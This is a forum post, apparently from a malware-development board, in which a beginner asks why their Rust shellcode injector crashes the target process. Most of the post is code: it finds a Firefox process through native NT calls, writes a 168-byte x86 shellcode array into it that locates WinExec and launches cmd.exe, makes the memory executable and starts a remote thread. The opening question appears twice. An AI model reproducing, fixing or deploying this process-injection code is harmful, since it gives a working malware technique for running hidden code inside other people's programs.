i've only started to get into malware development and i want to start with injecting shellcode into a process
my issue is that the target process crashes and the shellcode didn't run (spawning a calculator)
i'm using rust
the crates that i'm using are ntapi, winapi, and widestring
i've confirmed that the shellcode is successfully written onto the process:
any idea on what's wrong?
below is the code
Code:
my issue is that the target process crashes and the shellcode didn't run (spawning a calculator)
i'm using rust
the crates that i'm using are ntapi, winapi, and widestring
i've confirmed that the shellcode is successfully written onto the process:
any idea on what's wrong?
below is the code
Code:
Code:
use std::{fs, mem};
use ntapi::{ntapi_base::CLIENT_ID, ntexapi::{NtQuerySystemInformation, SYSTEM_INFORMATION_CLASS, SYSTEM_PROCESS_INFORMATION}, ntmmapi::{NtAllocateVirtualMemory, NtProtectVirtualMemory, NtReadVirtualMemory, NtWriteVirtualMemory}, ntobapi::{NtClose, NtWaitForSingleObject}, ntpsapi::{NtCreateThreadEx, NtOpenProcess}};
use winapi::{ctypes, shared::{minwindef::{FALSE, PULONG}, ntdef::{HANDLE, NTSTATUS, NULL, OBJECT_ATTRIBUTES, ULONG}, ntstatus::{STATUS_ALERTED, STATUS_SUCCESS, STATUS_TIMEOUT}}, um::{handleapi::INVALID_HANDLE_VALUE, winnt::{GENERIC_ALL, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PHANDLE, PROCESS_ALL_ACCESS, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, STANDARD_RIGHTS_ALL, THREAD_ALL_ACCESS}}};
use widestring::{U16CString, U16String};
const SYSTEM_INFORMATION_CLASS_LENGTH: usize = 0x150; //336 in decimal
const TARGET_PROCESS_NAME: &'static str = "firefox";
fn main() {
let mut shell:[u8;168] = [ 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x40,0x1c,0x8b,0x04,0x08,0x8b,0x04,0x08,
0x8b,0x58,0x08,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,
0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,
0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x49,0x8b,0x72,0x24,0x01,0xde,
0x66,0x8b,0x0c,0x4e,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x89,0xd6,0x31,0xc9,
0x51,0x68,0x45,0x78,0x65,0x63,0x68,0x41,0x57,0x69,0x6e,0x89,0xe1,0x8d,0x49,0x01,0x51,0x53,
0xff,0xd6,0x87,0xfa,0x89,0xc7,0x31,0xc9,0x51,0x68,0x72,0x65,0x61,0x64,0x68,0x69,0x74,0x54,
0x68,0x68,0x41,0x41,0x45,0x78,0x89,0xe1,0x8d,0x49,0x02,0x51,0x53,0xff,0xd6,0x89,0xc6,0x31,
0xc9,0x51,0x68,0x65,0x78,0x65,0x20,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x01,0x51,0xff,
0xd7,0x31,0xc9,0x51,0xff,0xd6 ];
// let mut shell = fs::read("open-calc-shell.exe").expect("FAILED TO FIND SHELL");
println!("SHELL SIZE: {}", shell.len());
let mut buffer_len: u32 = 0;
let system_info_class: SYSTEM_INFORMATION_CLASS = 5;
let mut sys_proc_info_buf = vec![0u8; 1024*1024];
let nt_status: NTSTATUS = unsafe {
NtQuerySystemInformation(
system_info_class,
sys_proc_info_buf.as_mut_ptr().cast(),
1024*1024,
&mut buffer_len
)
};
if nt_status != 0 { panic!("FAILED TO GET BUFFER LENGTH: {:#08x}", nt_status) }
println!("BUFFER LENGTH: {buffer_len}");
let mut sys_proc_info: SYSTEM_PROCESS_INFORMATION = unsafe {
let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
tmp_buf.copy_from_slice(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);
mem::transmute_copy(&tmp_buf)
};
println!("NEXT ENTRY OFFSET OF 1ST ELEMENT: {}", sys_proc_info.NextEntryOffset);
// let std::slice::from_ref(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);
let mut offset = 0;
let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
loop {
tmp_buf.copy_from_slice(&sys_proc_info_buf[offset..offset+SYSTEM_INFORMATION_CLASS_LENGTH]);
sys_proc_info = unsafe { mem::transmute_copy(&tmp_buf) };
// let name_vec: Vec<u8> = sy
let raw_name_str = unsafe {
U16String::from_ptr(sys_proc_info.ImageName.Buffer, (sys_proc_info.ImageName.Length / 2) as usize)
};
let Ok(name) = raw_name_str.to_string() else {
offset += sys_proc_info.NextEntryOffset as usize;
continue;
};
// println!("NAME {}", &name);
if name.to_lowercase().contains(TARGET_PROCESS_NAME) { break; }
offset += sys_proc_info.NextEntryOffset as usize;
if sys_proc_info.NextEntryOffset == 0 { panic!("UNABLE TO FIND TARGET") }
}
let mut proc_handle: HANDLE = NULL;
let mut client_id = CLIENT_ID {
UniqueProcess: sys_proc_info.UniqueProcessId,
UniqueThread: NULL,
};
let mut oa: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES::default();
oa.Length = mem::size_of_val(&oa) as u32;
let nt_status = unsafe {
NtOpenProcess(
&mut proc_handle,
PROCESS_ALL_ACCESS,
&mut oa,
// &mut client_id
&mut sys_proc_info.Threads[0].ClientId
)
};
if nt_status != 0 { panic!("FAILED TO OPEN PROCESS: {:#08x}", nt_status) }
println!("PROC HANDLE {:#?}", proc_handle);
let mut base_addr = NULL;
let mut shell_len = shell.len();
let nt_status = unsafe {
NtAllocateVirtualMemory(
proc_handle,
&mut base_addr,
0,
&mut shell_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
)
};
if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
println!("BASE ADDRESS: {:#?}", base_addr);
let mut written_bytes = 0usize;
let nt_status = unsafe {
NtWriteVirtualMemory(
proc_handle,
base_addr,
shell.as_mut_ptr().cast(),
shell_len,
&mut written_bytes
)
};
if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
println!("WRITTEN BYTE COUNT: {:#?}", written_bytes);
// let mut read_bytes = 0;
// let nt_status = unsafe {
// NtReadVirtualMemory(
// proc_handle,
// base_addr,
// shell_tmp.as_mut_ptr().cast(),
// shell_tmp.len(),
// &mut read_bytes
// )
// };
// if nt_status != 0 { panic!("FAILED TO READ: {:#08x}", nt_status) }
// println!("READ BYTE COUNT: {:#?}", read_bytes);
// println!("SHELL BUFFER: {:#?}", shell_tmp);
let mut old_protect = 0;
let nt_status = unsafe {
NtProtectVirtualMemory(
proc_handle,
&mut base_addr,
&mut shell_len,
PAGE_EXECUTE_READWRITE,
&mut old_protect
)
};
if nt_status != 0 { panic!("FAILED TO CHANGE PROTECTION: {:#08x}", nt_status) }
let mut thread_handle = INVALID_HANDLE_VALUE;
let nt_status = unsafe {
NtCreateThreadEx(
&mut thread_handle,
THREAD_ALL_ACCESS,
NULL.cast(),
proc_handle,
base_addr,
NULL,
0,
0,
0,
0,
NULL.cast()
)
};
if nt_status != 0 { panic!("FAILED TO START THREAD: {:#08x}", nt_status) }
println!("THREAD HANDLE: {:#?}", thread_handle);
unsafe { NtClose(proc_handle) };
// unsafe { NtClose(thread_handle) };
unsafe {
loop {
let wait_status = NtWaitForSingleObject(thread_handle, 0, NULL.cast());
if wait_status == STATUS_SUCCESS {
println!("SUCCESS");
break;
} else if wait_status == STATUS_TIMEOUT {
panic!("TIME OUT");
} else if wait_status == STATUS_ALERTED {
panic!("BUH?");
}
}
}
}